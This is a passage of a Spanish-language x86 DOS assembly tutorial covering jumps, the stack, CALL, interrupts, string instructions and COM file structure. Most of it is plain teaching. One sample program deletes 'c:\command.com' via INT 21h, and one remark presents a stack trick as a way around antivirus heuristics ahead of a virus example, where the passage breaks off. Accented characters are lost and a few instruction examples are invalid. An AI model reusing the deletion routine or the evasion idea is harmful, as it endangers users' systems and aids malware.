 transferir el control ( IP es el Offset que indica la zona de memoria
 que contiene la siguiente instruccin a ejecutar, y CS el segmento )

    El formato ms sencillo para el salto sera JMP 03424h, lo que saltara
 a esa zona. Pero es digamos que "algo pesado" calcular en qu direccin
 va a estar esa instruccin, con lo que utilizaremos etiquetas. Aqu hay
 un ejemplo, en el que de paso se repasa un poco:


            MOV AX,0CC34h
            MOV CL,22h
            JMP PALANTE
VUELVE:     CMP BX,AX
            JMP FIN
PALANTE:    MOV BX,AX
            JMP VUELVE
FIN:        XOR CX,CX

    Ahora voy a comentar un poco el programa. Tras la primera instruccin,
 AX vale 0CC34h, y tras la segunda, CL vale 22h. Despus se realiza un salto
 a la instruccin etiquetada con "PALANTE". La etiqueta ha de estar
 continuada por dos puntos ':', y puede ser llamada desde cualquier lugar del
 programa. Tambin podremos hacer un MOV AX,[PALANTE], como hacamos antes
 con un MOV AX,[BX], pero asignando a AX el valor que haya en la direccin
 en la que est "PALANTE".
    El caso, que tras el salto a "PALANTE", se copia el valor del registro BX
 en AX, y se vuelve a "VUELVE". Se realiza una comparacin entre AX y BX, que
 pondr el flag de cero a 1 ( recordemos la anterior leccin ), se saltar
 a "FIN", donde tan slo se realizar la orden Xor CX,CX cuyo resultado, por
 cierto, es poner CX a cero tenga el valor que tenga ( y sto se utilizar
 bastante programando, por eso me ha dado por incluir la orden )

    Volvamos con la sintaxis del JMP con algunos ejemplos de como utilizarlo:

    JMP 100h

    Salta a la direccin 100h. Un archivo .COM comienza normalmente en esa
 direccin, as que quiz lo veis en algunos virus.

    JMP 542Ah:100h

    Salta a la direccin 100h pero del segmento 542Ah.  Os acordis an
 de los Segments y Offsets ?. Se trata de un salto lejano.

    JMP SHORT 223Ah

    Salto corto a la direccin 223Ah. Tranquilidad, ahora explico lo de salto
 corto, lejano,...

    JMP NEAR  55AAh

    Salto cercano, es diferente al corto

    JMP [100h]

    Salta a la direccin contenida en 100h. Sin embargo es un error, ya que
 no se especifca si es cercano, lejano, si se lee un slo byte,... o sea,
 que sta instruccin no vale.

    JMP WORD PTR [BX]

    Ahora si vale ;). Salta a la direccin contenida en la palabra ( dos
 bytes ) a la que apunta BX. O sea, si BX valiese 300h y en 300h los dos
 bytes fuesen 0CC33h, el JMP saltara a sta direccin.

    JMP DWORD PTR [BX+SI+5]

    Dword son 32 bits, o sea, un salto lejano. Y saltara al contenido en
 la direccin de memoria a la que apuntan la suma de BX,SI y 5.


    Ahora voy a contar algo sobre los saltos lejanos, cercanos y cortos. El
 salto corto se realiza entre el punto en el que se est y +127 o -128, o
 sea, que la cantidad que se puede contener en un byte con signo. A veces
 es necesario indicar que se trata de salto corto, cercano o lejano.

    El salto cercano se realiza contando como distancia el contenido de dos
 bytes, o sea, que el rango sera desde 32767 a -32768 bytes de distancia.

    Y el lejano se realiza contando como distancia el contenido de cuatro
 bytes, y,... paso de calcular la distancia, pero es mucha X-)

    Por ejemplo, es incorrecto que haya en la direccin 100h una instruccin
 que diga JMP SHORT 500h, ya que la distancia no corresponde a un salto
 corto. Adems, el salto dependiendo de que sea cercano, corto o largo se
 codifica de manera diferente en modo hexadecimal.


    SALTOS CONDICIONALES
    

     Recordis aquel IF-THEN-ELSE, o el FOR, o el WHILE-DO ?

    Bien, pues aqu est lo que suple a stas instrucciones en lenguaje
 ensamblador. Se basan compltamente en los flags, por ello el rollo de la
 anterior leccin, pero estn simplificados de tal manera que no os har
 falta sabroslos de memoria para poder hacerlos.

    Los saltos podran resumirse en un modo "Basic" de la manera IF-THEN-GOTO
 de tal manera que cuando se cumple una condicin se salta a un sitio
 determinado.

    He aqu los tipos de saltos condicionales ( las letras en maysculas son
 las instrucciones ):

    JO: Jump if overflow. Salta si el flag de desbordamiento est a uno
    JNO: Jump if not overflow. Salta si el flag de desbordamiento est a
 cero.
    JC, JNAE, JB: Los tres sirven para lo mismo. Significan: Jump if Carry,
 Jump if Not Above or Equal y Jump if Below. Saltan por lo tanto si al
 haber una comparacin el flag de acarreo se pone a 1, es entonces
 equivalente a < en una operacin sin signo. Vamos, que si se compara as:
 CMP 13h,18h, saltar, ya que 13h es menor que 18h. Tambin se suelen usar
 para detectar si hubo fallo en la operacin, ya que muchas interrupciones
 al acabar en fallo encienden el carry flag.

    JNC, JAE, JNB: Otros tres que valen exctamente para lo mismo. Jump if
 not Carry, Jump if Above or Equal y Jump if Not Below. Saltan por tanto si
 al haber una comparacin el flag de acarreo vale 0, o sea, es equivelente
 al operador >=. En la comparacin CMP 0,0 o CMP 13h,12h saltar, ya que el
 segundo operando es MAYOR O IGUAL que el primero.

    JZ o JE: Jump if Zero o Jump if Equal. Salta si el flag de cero est a
 1, o sea, si las dos instrucciones comparadas son iguales. Saltara en el
 caso CMP 0,0

    JNZ o JNE: Jump if Not Zero o Jump if Not Equal. Salta si el flag de cero
 est a 0, o sea, si las dos instrucciones comparadas no son iguales.

    JBE o JNA: Jump if Below or Equal o Jump if Not Above. Saltara si en
 resultado de la comparacin el primer miembro es menor o igual que el
 segundo ( <= )

    JA o JNBE: Jump if Above o Jump if Not Below of Equal. Justo lo contrario
 que la anterior, salta si en el resultado de la comparacin el primer
 miembro es mayor al segundo.

    JS: Jump if Sign. Salta si el flag de signo est a uno.

    JNS: Jump if Not Sign. Salta si el flag de signo est a cero.

    JP, JPE: Jump if Parity o Jump if Parity Even. Salta si el flag de
 paridad est a uno.

    JNP, JPO: Jump if Not Parity, Jump if Parity Odd. Salta si el flag de
 paridad est a cero.

    JL, JNGE: Jump if Less, Jump if Not Greater of Equal. Salta si en el
 resultado de la comparacin, el primer nmero es inferior al segundo, pero
 con nmeros con signo.

    JGE, JNL: Jump if Greater or Equal, Jump if Not Less. Salta si en el
 resultado de la comparacin, el primer nmero es mayor o igual que el
 segundo, pero con nmeros con signo.

    JLE, JNG: Jump if Lower or Equal, Jump if Not Greater. Salta si en el
 resultado de la comparacin, el primer nmero es menor o igual que el
 segundo, pero con nmeros con signo.

    JG, JNLE: Jump if Greater, Jump if Not Lower or Equal. Salta si en el
 resultado de la comparacin, el primer nmero es mayor que el segundo, para
 nmeros con signo.

    Fiuuuuu !!! Menuda lista. Bueno, aconsejo que os quedis de cada
 parrafito con uno, aunque algunos se usen poco, pero como veis para una
 misma instruccin hay varios,... y para gustos no hay nada escrito, lo mismo
 os da usar JG que JNLE por ejemplo.

    Vamos, que despus de toda sta aridez me temo que voy a tener que poner
 algunos ejemplos de los ms utilizados:

                MOV AX,1111h
                MOV BX,1112h
                CMP AX,BX       ; AX es menor que BX ( toma perogrullada )
                JB  tirapalante ; Saltar a tirapalante
                HLT             ; Esta orden bloquea el ordenador, halt
tirapalante:    DEC BX          ; Ahora BX valdr 1111h
                CMP AX,BX       ; Ahora valen igual
                JNE Acaba       ; No saltar, ya que son iguales
                JE Continua     ; Esta vez si
Continua:       DEC BX          ; Ahora BX vale 1110h
                CMP AX,BX
                JE Acaba        ; No son iguales, por tanto no saltar
                JB Acaba        ; No es menor, tampoco salta
                JG Acaba        ; Es mayor, ahora SI saltar
Acaba:          XOR AX,AX
                XOR BX,BX       ; AX y BX valen ahora cero.

    Espero que con sto haya aclarado un poco la utilidad de los saltos.
 Evidentemente, ahora al escribir sabemos cuando uno es menor o mayor, pero
 a veces mediante interrupciones sacaremos valores que no conoceremos al ir
 a programar, o quiz lo hagamos de la memoria, y querremos comprobar si
 son iguales, etctera.

    Por cierto, que en los saltos condicionales se puede hacer como en los
 incondicionales, o sea, formatos como:

    JE 0022h
    JNE 0030h
    JNO AL

    Sin embargo, estamos limitados a saltos cortos, o sea, de rango a 127
 bytes hacia adelante o 128 hacia atrs, no pudiendo superar sta distancia.


    BUCLES
    

    He aqu el equivalente al FOR-TO-NEXT en ensamblador, se trata de la
 orden LOOP. Lo que hace sta orden es comparar CX con cero; si es igual,
 sigue adelante, si no lo es, vuelve al lugar que se indica en su operando
 decrementando CX en uno. Por lo tanto, CX ser un contador de las veces
 que ha de repetirse el bucle. Vamos con un ejemplo:

        MOV CX,0005h
bucle:  INC DX
        CMP DX,0000h
        JE  Acaba
        LOOP bucle
Acaba:  ...

    Veamos como funciona ste programa. Se mueve a CX el valor 5h, que van
 a ser las veces que se repita el bucle. Ahora, llegamos al cuerpo del bucle.
 Se incrementa DX y se compara con 0, cuando es igual salta a "Acaba". Si
 llega a la orden LOOP, CX se decrementar y saltar a bucle. Esto se
 repetir cinco veces. En fin, que el programa acabar en el grupo de
 instrucciones de "Acaba" cuando la comparacin de un resultado positivo o
 cuando el bucle se haya repetido cinco veces.

    Tambin tiene la limitacin de que slo realiza saltos cortos, y tambin
 puede usarse como el JMP, de la forma:

    LOOP 0003h
    LOOP [AL]

    En resumen, la orden LOOP es la equivalente a CMP CX,0/JNZ parmetro,
 donde parmetro es el operando de LOOP.

    Y en fin, hemos terminado con los condicionales. Parece muy rido, pero
 luego seguramente usaris poco ms que un JZ o JNZ al principio,... y el
 LOOP, claro. Ya no nos queda mucho. La explicacin de la pila y las
 interrupciones, y ya podris empezar a programar.



                                Ŀ
                                  LA PILA  
                                

    Para explicar sta parte, voy a hacerlo lo ms mundanamente posible y
 sin mucho trmino complicado, porque las explicaciones muchas veces suelen
 liar ms sobre una cosa tan sencilla como es sto.

    La pila es una especie de "almacn de variables" que se encuentra en una
 direccin determinada de memoria, direccin que viene indicada por SS:SP,
 como mencion antes, registros que son SS de segmento de pila y SP de
 Offset de sta.

    Entonces nos encontramos con dos rdenes bsicas respecto a la pila, que
 son PUSH y POP. La rden PUSH empuja una variable a la pila, y la rden POP
 la saca. Sin embargo, no podemos sacar el que queramos, no podemos decir
 "quiero sacar el valor de DX que he metido antes y que fue el cuarto que
 met", por ejemplo.

    La estructura de la pila se denomina LIFO, siglas inglesas que indican
 'Last In First Out'. Esto significa que al hacer un POP, se sacar el
 ltimo valor introducido en la pila. Vamos con unos ejemplitos majos:

    PUSH    DX              ; Mete en la pila el contenido de DX
    PUSH    CX              ; Y ahora el contenido de CX
    POP     AX              ; Ahora saca el ltimo valor introducido ( CX )
                            ;y lo coloca en AX.
    POP     BP              ; Y ahora saca en valor anterior introducido, que
                            ;es el contenido de DX cuando hicimos el PUSH DX
                            ;y se lo asigna a BP.

    Ahora, una rutina algo ms detallada:

    MOV     DX,0301h        ; DX vale ahora 0301 hexadecimal.
    PUSH    DX              ; Empuja DX a la pila. SP se decrementa en dos.
    MOV     DX,044C4h       ; Ahora DX vale 044C4h
    POP     CX              ; Y con sto, CX vale 0301 hexadecimal, el valor
                            ;que habamos introducido con anterioridad.

    Dije en la segunda lnea: SP se decrementa en dos. Cuando por ejemplo
 ejecutamos un .COM, SS es el segmento del programa ( o sea, igual que CS,
 y si no han sido modificados, DS y ES ), y SP apunta al final, a 0FFFFh.
 Cuando empujamos un valor a la pila, SP se decrementa en dos apuntando a
 0FFFDh, y en sta direccin queda el valor introducido. Cuando lo saquemos,
 se incrementar de nuevo en dos el valor de SP, y el valor se sacar de
 la pila.

    Se puede operar con sta instruccin con los registros AX, BX, CX, DX,
 SI, DI, BP, SP, CS, DS y ES, sin embargo no se puede hacer un POP CS, tan
 slo empujarlo a la pila.

    He aqu un ejemplo de lo que hace en realidad un POP en trminos de MOVs,
 aunque sea un gasto intil de cdigo, tiene su aplicacin por ejemplo para
 saltarse la heurstica en un antivirus, que busca un POP BP y SUB posterior,
 bueno, supongo que ya aprenderis a aplicarlo cuando veis el curso de
 virus/antivirus:

    Partamos de que hay cierto valor en la pila que queremos sacar.

    MOV     BP,SP       ; Ahora BP es igual al offset al que apunta SP
    MOV     BP,Word ptr [BP] ; Y ahora BP vale el contenido del offset al
                             ;que apunta, que al ser el offset al que apunta
                             ;el de pila, ser el valor que sacaramos
                             ;haciendo un POP BP.
    ADD     SP,2            ; Para acabarlo, sumamos dos al valor de offset
                            ;de la pila.

    Y sto es lo que hace un POP BP, smplemente. Para ver lo que hace un PUSH
 no habra ms que invertir el proceso, lo pongo aqu, pero sera un buen
 ejercicio que lo intentrais hacer sin mirarlo y luego lo consultrais, por
 ejemplo introduciendo DX a la pila.

    SUB     SP,2
    MOV     BP,SP
    MOV     Word ptr[BP],DX

    Como ltima recomendacin, hay que tener bastante cuidado con los PUSH
 y POP, sacar tantos valores de la pila como se metan, y estar pendiente de
 que lo que se saca es lo que se tiene que sacar. La pila bien aprovechada
 es fundamental para hacer programas bien optimizados, ya que entre otras
 cosas las instrucciones PUSH y POP slo ocupan un byte.

    Es por ejemplo mucho mejor usar un PUSH al principio y un POP al final
 en vez de dejar partes de cdigo para almacenar variables, ms velocidad
 y menos tamao.

    Y finalmente, hay otras dos rdenes interesantes respecto a la pila,
 PUSHF y POPF, que empujan el registro ( 16 bits ) de flags y lo sacan,
 respectivamente

                                LA ORDEN CALL
                                -

    Se trata de una rden que se utiliza para llamar a subrutinas, y est
 relacionada con la pila, por lo que la incluyo en sta leccin del curso.

    La sintaxis del Call es casi la de un Jmp, pudindose tambin utilizar
 etiquetas, direcciones inmediatas o registros. Si comparsemos un Jmp con
 un 'GOTO', el Call sera el 'GOSUB'. Es una instruccin que nos va a servir
 para llamar a subrutinas.

    Su forma de actuacin es sencilla. Empuja a la pila los valores de CS e
 IP ( o sea, los del punto en el que est en ese momento el programa ),
 aunque IP aumentado en el tamao del call para apuntar a la siguiente
 instruccin, y hace un salto a la direccin indicada. Cuando encuentre una
 instruccin  RET, sacar CS e IP de la pila, y as retornar al lugar de
 origen. Veamos un ejemplo:

         xor     ax,ax       ; Ax vale ahora 0
         Call    quebin     ; Mete CS e IP a la pila y salta a quebin
         Int     20h         ; sta rden sale al dos, explicar todo sto
                             ;en el prximo captulo, slo que sepis eso
quebin: mov     ax,30h
         Ret                 ; Vuelve a la instruccin siguiente al punto
                             ;de llamada, o sea, a la de "INT 20h"

    La rden RET puede tener tambin varios formatos: RETN o RETF, segn se
 retorne desde un sitio cercano ( RETN, near ) o lejano ( RETF, far ). No
 obstante, prcticamente no lo usaremos, la mayora de las veces se quedar
 en RET y punto.

    Existe entonces la llamada directa cercana, en la que slo se introduce
 IP ( lgicamente, apuntando a la rden siguiente al Call ), y al retornar,
 lo hace en el mismo segmento, y la llamada directa lejana, en la que se
 introducen CS e IP ( y luego se sacan, claro ). A veces se podran producir
 confusiones, con lo que quiz pueda ser conveniente usar RETN y RETF
 respectivamente.

    Y el prximo captulo empezamos con interrupciones,... venga, que ya
 queda menos para poder programar ;-)



                           Ŀ
                              INTERRUPCIONES   
                           

    A stas alturas del curso estaris diciendo: bueno, vale, he aprendido
 a mover registros, a meterlos en la pila, etc,...  pero cmo acto con
 el exterior ?. Porque por mucho registro que tenga no voy a escribir por
 ejemplo un carcter en la pantalla. Bieeeeeen, pues aqu est, son las
 interrupciones.

    La primera cosa que tenemos que hacer es saber como funcionan las
 interrupciones. Son principalmente subrutinas de la BIOS o el DOS que
 pueden ser llamadas por un programa, por ejemplo la funcin 21h est
 dedicada especialmente a tratamiento de archivos.

    Para utilizarlas, tendremos que poner los registros con un determinado
 valor para que se realice el propsito que buscamos. Cada interrupcin
 tiene varias funciones, y podremos elegir cual ejecutamos segn el valor
 de AH.

    El formato de la rden es INT X, donde X puede ir desde 1 a 255 ( aunque
 normalmente se escribe en formato hexadecimal ).

    Cuando se ejecuta una interrupcin, el ordenador empuja todos los flags
 a la pila, un 'PUSHF', y despus mira en la tabla de vectores de
 interrupcin, de la que hablar ms adelante, para transferir el control
 del programa al punto que indica esa tabla respecto a la interrupcin
 pedida mediante un 'CALL'. Cuando la interrupcin ha terminado, acabar con
 un IRET, que es una combinacin entre 'POPF' y 'RET'.

    La tabla de Vectores de Interrupcin es una tabla de direcciones para
 la direccin a la que debe saltar cada interrupcin. Comienza en la
 direccin de memoria 0000:0000 y acaba en la 0000:0400, siendo cada
 direccin de 4 bytes de longitud. Para averiguar cual corresponde a cada
 interrupcin, no hay ms que multiplicar el nmero de interrupcin por
 cuatro. Por ejemplo, la direccin de memoria donde est el punto al que
 salta una INT 21h, es 0000:21h*4. Ah se contienen el CS e IP a los que
 saltar el programa cuando se ejecute la interrupcin. Estos valores, son
 modificables, pero hay que tener mucho cuidado con ello.

    Y ahora voy a ponerme algo ms mundano, si no habis entendido sto al
 menos saber 'qu hace', quiz as adems los que os hayis perdido podis
 retornar ms adelante. Vamos con un ejemplo de uso de una interrupcin:


                jmp mesaltomsg      ; Esto lo hago porque ejecutar el texto
                                    ;puede traer consecuencias imprevisibles

archivo:        db 'c:\command.com',0 ; el 0 que va despus es necesario
                                    ; en operaciones con archivos, o no
                                    ; funcionar.

mesaltomsg:     mov ax,4100h        ; Al ir a llamar a la interrupcin, AH
                                    ;( que aqu es 41h ), indica la funcin
                                    ;de dicha interrupcin que se quiere
                                    ;ejecutar. En ste caso es la 41h, que
                                    ;significa borrar un fichero

                mov dx,OFFSET archivo   ; En dx cargamos la direccin del
                                        ;offset con la etiqueta archivo,
                                        ;o sea, si la etiqueta archivo est
                                        ;en :0014h, ese ser ahora el valor
                                        ;de DX. Como vemos, no slo basta
                                        ;con tener AX actualizado para poder
                                        ;usar la interrupcin.

                Int 21h                 ; Ejecutamos la interrupcin 21h en
                                        ;su funcin 41h, borrar un fichero.

    Voy a detallar un poco ms,  por qu en dx pongo la direccin del offset
 de archivo ?. Porque la funcin de la Int21h que busco necesita parmetros.
 Cuando AH vale 41h, funcin de borrar fichero, necesita ciertos parmetros,
 y sto es que en DS:DX se encuentre la cadena de caracteres que indica el
 fichero a buscar.

    Como DS vale lo mismo que CS si no lo hemos cambiado, tan slo hace
 falta hacer que DX apunte al lugar donde est la cadena de caracteres con
 el nombre del archivo.


    Vamos con otro ejemplo. Ahora, queremos cambiar el nombre de un fichero.
 La interrupcin para ello es la 21h, y la funcin que queremos es la 56h,
 con lo que en AH tendremos que poner ese valor.

    El par DS:DX, es la direccin de la cadena que contiene la unidad, camino
 y nombre del fichero, tal y como suceda en el anterior ejemplo, y ES:DI
 la direccin de la cadena que contiene la nueva unidad, camino y nombre.

    Vamos con el programa:

    Mov     ah,56h                  ; No hace falta inicializar al, como
                                    ;hicimos antes, no tiene ninguna
                                    ;importancia su contenido.
    Mov     dx,OFFSET anterior      ; Ds ya est apuntando a ste segmento,
                                    ;slo tendremos que asignar Dx
    Mov     di,OFFSET posterior     ; Di apunta al nuevo nombre, Es no ha
                                    ;sido variado de ninguna manera.
    Int     21h                     ; Si en ste directorio de halla el
                                    ;archivo de DS:DX, cambia su nombre al
                                    ;de ES:DI
    Int     20h                     ; Devuelve el control al Ms-dos.

anterior:       db  'berilio.com',0
posterior:      db  'magnesio.com',0


    En resumen, cambiar el nombre del archivo berilio.com a magnesio.com
 si ste se encuentra en el directorio.

    Hay innumerables cosas que se pueden hacer con las interrupciones:
 escribir textos, leer del teclado, cambiar modos de pantalla, escribir
 en archivos, leerlos, ejecutarlos,... demasiado para ponerlo aqu, aunque
 al final del curso os podris encontrar ms ejemplos.

    Recomiendo tener a mano la lista de interrupciones de Ralf Brown, que
 es una autntica biblia de las interrupciones, o las guas Norton. El caso
 es que es imposible sabrselas de memoria, y es mejor tener una buena
 obra de consulta al lado. La lista de interrupciones de Ralf Brown es
 fcil de encontrar, y ocupa cerca de un disco completo, con largos archivos
 de texto, y se actualiza de vez en cuando.

    Para dar una idea en general y que sepis cmo buscar lo que necesitis,
 aqu estn las interrupciones que ms se usan y sus funciones en general,
 smplemente para orientaros al buscar.


    Interrupcin 21h: Apuesto a que es la que ms utilizaris, con ella se
 consigue el acceso a la fecha y hora del sistema, gestin de ficheros,
 funciones de dos referidas al disco, para la gestin de directorios, y
 algunas de lectura/escritura en el teclado y pantalla, adems de la gestin
 de la memoria.

    Interrupcin 13h: Funciones de BIOS que se refieren al disco.

    Interrupcin 10h: Gestin de la pantalla en modo alfanumrico, gestin
 de la pantalla en modo grfico.

    Interrupciones 25h y 26h: Funciones de dos de acceso directo al disco,
 escribir y leer sectores...

    Interrupcin 17h: Impresora.



                            Ŀ
                             Resto de rdenes 
                            

    Bueno, pues parece que nos vamos acercando al final,... ahora voy a
 contar con algo de detalle del resto de las rdenes en lenguaje ensamblador
 las ms importantes y que ms merezcan conocerse:


    XCHG
    

    La funcin de xchg es la de intercambiar valores entre registros y
 memoria, de tal manera que puede funcionar as:

    XCHG reg,reg ( XCHG AX,BX )
    XCHG mem,reg o reg,mem ( XCHG AX,Word ptr 0000:0084h )


    LEA
    

    "Load Effective Adress", sirve al usar como puntero a DX ( recordemos,
 al hacer que apuntase hacia un offset que nos interesaba ), y como
 sustituyente al MOV en stos casos especialmente.

    Imaginemos que el offset al que queremos apuntar es Sunset+bp-si, o sea,
 el lugar donde est la etiqueta "Sunset" ms el valor de bp menos el de si.

    Si lo hiciesemos con movs quedara tal que as:

    MOV dx,Offset sunset
    ADD dx,bp
    SUB dx,si

    La rden LEA integra stas operaciones:

    LEA dx,[Sunset+Bp-Si]

    Pudiendo usar en el operando cualquier direccin de memoria y pudiendo
 sumrsele registros.


    LDS y LES
    

    El puntero anteriormente utilizado nos puede servir mucho si lo que
 pretendemos localizar se halla en el mismo segmento que el programa,... pero
 si est en otro lugar, tendremos tambin que averiguar de alguna manera su
 segmento. Para sto se usan LDS y LES.

    Teniendo la misma sintaxis que LEA, aunque pudiendo poner un registro
 de segmento ( pej, Lea SI,CS:[DI+3] ), sus resultados los ligeramente diferentes.
 Adems de ponerse en el operando destino ( SI en el ejemplo anterior ) el
 Desplazamiento u Offset, el Segmento indicado en el operando origen quedar
 en DS o ES segn la rden sea LDS o LES.

    Por ejemplo, si hacemos:

    LDS     DX,0000:[DI-23]

    En DX quedar la direccin a la que apunta DI-23, y en DS quedar 0000,
 el segmento en que se encuentra.

    Igualente suceder en ES:

    LES     SI,3342h:[Bp]

    SI valdr BP, y ES tomar el valor de 3342h.


    DELAYs
    

    A veces nos puede interesar perder algo de tiempo, y sta rden tiene
 adems luego ms utilidades,... es la rden REP ( repeat ). Se repite, y
 cada vez que lo hace disminuye CX en una unidad. Se usa especialmente para
 rdenes como Movsb, etc, que vienen ahora. Pero smplemente que entendis
 que si hago:

    Mov     CX,300h
    Rep

    La rden rep se repite 300h veces, y cuando la supera CX vale 0.


    INSTRUCCIONES DE CADENA
    

    Son un subconjunto de instrucciones muy tiles para diversas funciones:
 inicializar zonas de memoria, copiar datos de una zona a otra, encontrar
 valores determinados o comparar cadenas, etc etc.

    Su comportamiento depende del flag de direccin del que hablbamos unas
 lecciones ms atrs, y que se puede cambiar dirctamente con stas dos
 instrucciones:

    STD: SeT Direction flag, lo pone a uno.
    CLD: CLear Direction flag, lo pone a cero.

    Las instrucciones que vamos a usar como de cadena siempre tienen una S
 de String al final, y casi siempre adems una B o una W indicando Byte o
 Word ( el tamao ). Es tan comn el uso de la B o la W que siempre lo
 pondr as ( es mejor especificar para prevenir posibles fallos )

    Y stas son:

    LODSB/LODSW

    Lee un byte/palabra en la direccin de memoria dada por DS:SI y la
 almacena dependiendo de su tamao en AL o AX. Si el flag de direccin est
 a cero, segn sea byte o palabra, SI aumentar en 1 o 2 unidades ( para
 poder continuar la operacin de lectura ). Si est a uno el flag, se
 decrementar en 1 o 2 unidades dependiendo del tamao ( byte/palabra )

    STOSB/STOSW

    Es el equivalente a "grabar" si lo anterior era "cargar". Almacenar el
 contenido de AL o AX ( como siempre, dependiendo del tamao ) en ES:DI,
 copiando segn si es B o W uno o dos bytes cada vez que se ejecute.

    Si el flag de direccin est a cero, DI aumentar cada vez que se
 realice la rden en una o dos unidades ( dependiendo tel tamao, B o W ).
 Si est a uno, decrecer.

    MOVSB/MOVSW

    Mueve el byte o palabra contenido en la direccin de memoria a la que
 apunta DS:SI a la direccin de memoria de ES:DI.

    Si el flag de direccin est a 0, con cada MOVS que realicemos SI y DI
 aumentarn en una unidad ( MOVSB ) o dos ( MOVSW ). Si est a uno, se
 decrementarn de igual manera.

    REP

    Acabo de hablar sobre l,... pues bien, si se utiliza como operando suyo
 una de stas rdenes, la repetir CX veces. Por ejemplo, si queremos
 copiar digamos la tabla de vectores de interrupcin a un lugar que hemos
 reservado:


    cld                     ; A asegurarnos de que el flag de direccin est
                            ;a cero.
    mov     cx,400h
    xor     dx,dx           ; pone dx a 0
    push    dx
    pop     ds              ; No est permitido hacer xor ds,ds, por lo que
                            ;metemos dx, que vale 0, en la pila, y sacamos
                            ;DS valiendo 0.
    xor     si,si           ; SI que valga 0.
    push    cs
    pop     es              ; Vamos a asegurarnos de que ES valga CS, o sea,
                            ;el segmento en el que est el programa ahora.
    mov     di,buffer       ; DI apunta al lugar donde vamos a guardar la
                            ;tabla.
    rep     movsb           ; Repite sto 400h veces, y cada vez que lo hace
                            ;incrementa DI y SI.
    int     20h             ; Acaba la ejecucin

buffer:     db 400h dup (?)     ; Esto deja un espacio de 400h bytes que nos
                                ;va a servir para almacenar la tabla de
                                ;vectores de interrupcin.

    Bueno, pues espero que con ste programa ejemplo quede todo clarito :))
 Por supuesto, es muy mejorable. Podemos para empezar reducir el 400h a 200h
 en CX, y hacer un rep movsw, con lo que trasladarmos de palabra en palabra
 las instrucciones.

    DATOS
    

    Acabamos de ver algo nuevo,  qu significa eso de 'db' que aparece en
 el anterior problema ?

    El objetivo de sta orden, al igual que DW o DD es dejar espacio para
 datos en una determinada zona del programa, o introducirlos ah. Voy a
 mostrar algunos ejemplos:

    db      'A saco con todos$'

    DB se refiere a un byte de longitud, y se usa por ejemplo para guardar
 una cadena. Veris que pongo un $ al final de la cadena, bien, sto ha
 de hacerse siempre, ya que al utilizar interrupciones para mostrar una
 cadena de caracteres por pantalla, el ordenador lee desde el punto
 indicado hasta el $, que es cuando se para.

    dw      0ffffh          ; W de word, palabro... almacena un nmero en
                            ;esa posicin

    db      'A',' ','s','a','c','o'     ; Variaciones sobre el tema, va
                                    ;presentandolo carcter a carcter.

    db      dup 5 (90h)

    A ver, que sto ha sido ms raro,  verdad ?. Significa que repite 5
 veces el carcter o nmero que hay entre parntesis, o sea, que sto
 colocara cinco '90h' en ese sitio.

    dw      dup 300h (?)

    Deja un espacio de trescientas palabras ( seiscientos bytes ) para
 poder almacenar cosas. Su contenido no tiene importancia, se trata de
 lugar de almacenamiento ( como el lugar en el que copiabamos la tabla de
 vectores en el ejercicio anterior )

    Tambin existe DQ, Define Quadword. Os dejo que imaginis ;)

    ACCESO A PUERTOS I/O
    

    Smplemente describir las instrucciones que permiten mandar y recibir
 datos de ellos; IN y OUT.

    Los puertos son todos de ocho bits, aunque se pueden usar palabras para
 su lectura. Existen 64K puertos, o sea, el valor mximo de cualquier registro de
 Offset.

    IN lee un byte o una palabra del puerto y lo almacena en AX/AL, tal que
 as:

    IN AL,DX                ; Lee del puerto DX y almacena en AL
    IN AX,DX                ; Lee de DX y almacena en AL el valor, leyendo
                            ;AH desde el puerto DX+1

    DX es lo nico que puede variar siendo otro registro, no se permite en
 AX/AL

    OUT manda un byte al puerto, pudindose hacer as ( mediante el registro
 AX o AL ):

    OUT DX,AL               ; Al puerto DX, manda el valor contenido en AL
    OUT DX,AX               ; A DX manda el contenido de AL, y despus en
                            ;el puerto DX+1 enva AH. Observese sta
                            ;peculiaridad tanto aqu como en el anterior.

    Como antes, AL o AX no pueden ser otra cosa, DX podra si ser otro
 registro ( o dirctamente un nmero )


    ANULACION DE INTERRUPCIONES
    

    Hay veces que necesitamos que mientras se est ejecutando nuestro
 cdigo no se puedan ejecutar interrupciones, debido a que estamos haciendo
 algo delicado, como por ejemplo tocando la tabla de vectores de
 interrupcin, y no queremos que se ejecute una interrupcin que tenemos
 a medio cambiar.

    No tendremos ms que poner la rden

    CLI

    O CLear Interrupts, que lo que hace es que hasta que encuentre una rden
 STI ( SeT Interrupts ), no se puedan ejecutar interrupciones.


     Y bueno, sto casi se ha acabado !. Slo faltan las estructuras de
 COM y EXE para que podis empezar a programar, que consigis un programa
 ensamblador ( Tasm, A86, Masm,... recomiendo el primero ), y que pillis
 las Interrupciones de Ralph Brown (  que no las encuentras, si estn en
 todos lados ! ? ), y ale, a hacer cosas ;D


                            ͸
                           վ ESTRUCTURA COM Ը
                           ;

    Los archivos COM tienen como mximo 65536 bytes de extensin, que
 "curiosamente" coinciden con 0FFFFh, que es el mximo valor que puede tener
 un registro de 16 bits.

    Por lo tanto, cualquier direccin dentro del COM tendr en comn el
 registro de segmento, y con el de desplazamiento se podr averiguar el
 lugar donde se encuentra cualquier cosa en el archivo.

    El .COM tiene tambin una zona normalmente que va de 0 a 100h en la
 que tiene el PSP, zona de datos en la que entre otras cosas est la Dta
 ( para trabajar con ficheros, a partir del Offset 80h )

    Pongo un ejemplo ahora de cabecera, y despus un programa COM completo
 pero sencillito, aunque con cosas que se puedan comentar ( para que no se
 os olviden cosillas mientras )

 -----------------

    .MODEL  TINY                    ; Indica que es pequeito ;)
    .CODE                           ; Cdigo

        ORG 100h                    ; sta es la direccin a partir de la
                                    ;cual empieza el cdigo, normalmente es
                                    ;100h para dejar espacio al PSP

    Start: jmp     Entrada

            [Datos]

      Entrada   PROC

            [Codigo]

      Entrada   ENDP

   END Start

-------------------
    Entrada es un procedimiento al que se puede llamar con por ejemplo el
 salto del principio. No son necesarios, y quiz a ms de uno le ayude
 quitrselos de enmedio. Si hay que cerrar el Start, que abre el programa.

    Hay ms lneas que se pueden poner en la cabecera, como MODEL en vez de
 ser TINY que sea SMALL por ejemplo, o:

    CODIGO SEGMENT CODE
    ASSUME DS:CODIGO    ES:CODIGO

    Lo que abre un segmento de cdigo ( o sea, el Com ), y hace que los
 registros de segmento apunten a l. Al final habra que poner un:

    CODIGO ENDS

    Justo antes del "END Start" pero despus de un posible "Entrada ENDP"


    Aqu va un ejemplo de programa .COM en lenguaje ensamblador. Se trata
 de un virus, o ms bien, algo que podra ser un virus, ya que es de tipo
